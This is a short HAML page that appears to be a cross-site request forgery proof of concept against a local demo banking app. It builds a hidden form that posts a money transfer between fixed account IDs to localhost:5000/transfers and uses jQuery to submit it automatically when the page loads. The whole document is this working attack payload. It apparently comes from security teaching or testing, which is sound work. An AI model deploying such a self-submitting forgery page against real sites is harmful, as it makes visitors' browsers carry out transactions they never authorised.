%html %head %script{:type => 'text/javascript', :src => 'jquery.js'} %body %form{:action => 'http://localhost:5000/transfers/', :id => 'csrf_form', :method => 'post'} %input{:type => 'hidden', 'name' => 'transfer[from_account_id]', 'value' => '1'} %input{:type => 'hidden', 'name' => 'transfer[to_account_id]', 'value' => '3'} %input{:type => 'hidden', 'name' => 'transfer[amount]', 'value' => '1'} %script{:type => 'text/javascript'} $('#csrf_form').submit();